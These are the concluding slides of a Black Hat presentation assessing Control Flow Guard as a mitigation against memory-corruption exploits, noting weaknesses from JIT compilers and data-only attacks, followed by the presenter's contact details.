Conclusions
Black Hat Sound Bytes

- All in all, CFG may be an effective mitigation to raise the costs of exploiting memory corruption vulnerabilities, as long as:
  - every module in the process is CFG-aware.
  - code generated at runtime is properly protected.

- JIT compilers are likely to undermine the effectiveness of CFG in other software, unless special effort is made to harden them.

- Data-only attacks are really hard to detect/prevent. We may see an increase of this kind of attacks as modification of control flow becomes harder.
Thank you!

Questions?

@fdfalcon

ffalcon@coresecurity.com